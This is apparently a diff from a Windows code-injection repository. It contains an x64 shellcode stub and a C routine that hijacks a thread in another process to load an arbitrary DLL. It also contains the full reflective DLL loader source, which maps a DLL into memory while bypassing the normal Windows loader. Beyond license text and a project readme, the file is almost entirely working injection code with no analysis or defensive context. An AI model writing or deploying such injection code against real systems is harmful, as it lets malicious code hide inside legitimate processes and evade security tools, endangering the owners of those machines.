0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
0x68, 0xef,0xbe,0xad,0xde,
0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (place holder for DLL path name)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (place holder for LoadLibrary)
0xFF, 0xD0, // call rax (call LoadLibrary)
0x58, // pop dummy
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x9D, // popfq
0x58, // pop rax
0xC3 // ret
};
DWORD demoSuspendInjectResume64(PCWSTR pszLibFile, DWORD dwProcessId)
{
void *stub;
unsigned long threadID, oldprot;
HANDLE hThread;
CONTEXT ctx;
DWORD64 stubLen = sizeof(sc);
wprintf(TEXT("[+] Shellcode Length is: %d\n"), stubLen);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL)
{
wprintf(L"[-] Error: Could not open process for PID (%d).\n", dwProcessId);
return(1);
}
DWORD64 LoadLibraryAddress = (DWORD64)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryAddress == NULL)
{
wprintf(L"[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n");
exit(1);
}
SIZE_T dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpDllAddr == NULL)
{
wprintf(L"[-] Error: Could not allocate memory inside PID (%d).\n", dwProcessId);
exit(1);
}
stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (stub == NULL)
{
wprintf(L"[-] Error: Could not allocate memory for stub.\n");
exit(1);
}
SIZE_T nBytesWritten = 0;
BOOL bStatus = WriteProcessMemory(hProcess, lpDllAddr, pszLibFile, dwSize, &nBytesWritten);
if (bStatus == 0)
{
wprintf(L"[-] Error: Could not write any bytes into the PID (%d) address space.\n", dwProcessId);
return(1);
}
if (nBytesWritten != dwSize)
wprintf(TEXT("[-] Something is wrong!\n"));
threadID = getThreadID(dwProcessId);
hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);
if (hThread != NULL)
{
SuspendThread(hThread);
}
else
wprintf(L"[-] Could not open thread\n");
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
DWORD64 oldIP = ctx.Rip;
ctx.Rip = (DWORD64)stub;
ctx.ContextFlags = CONTEXT_CONTROL;
memcpy(sc + 3, &oldIP, sizeof(oldIP));
memcpy(sc + 41, &lpDllAddr, sizeof(lpDllAddr));
memcpy(sc + 51, &LoadLibraryAddress, sizeof(LoadLibraryAddress));
#ifdef _DEBUG
wprintf(TEXT("[+] Shellcode Launcher Code:\n\t"));
for (int i = 0; i < stubLen; i++)
wprintf(TEXT("%02x "), sc[i]);
wprintf(TEXT("\n"));
#endif
WriteProcessMemory(hProcess, (void *)stub, &sc, stubLen, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
Sleep(8000);
VirtualFreeEx(hProcess, lpDllAddr, dwSize, MEM_DECOMMIT);
VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT);
CloseHandle(hProcess);
CloseHandle(hThread);
return(0);
}
#endif
+25
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@@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
+48
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@@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : rdll Project Overview
========================================================================
AppWizard has created this rdll DLL for you.
This file contains a summary of what you will find in each of the files that
make up your rdll application.
rdll.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
rdll.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
rdll.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named rdll.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
+51
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+496
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@@ -0,0 +1,496 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
+203
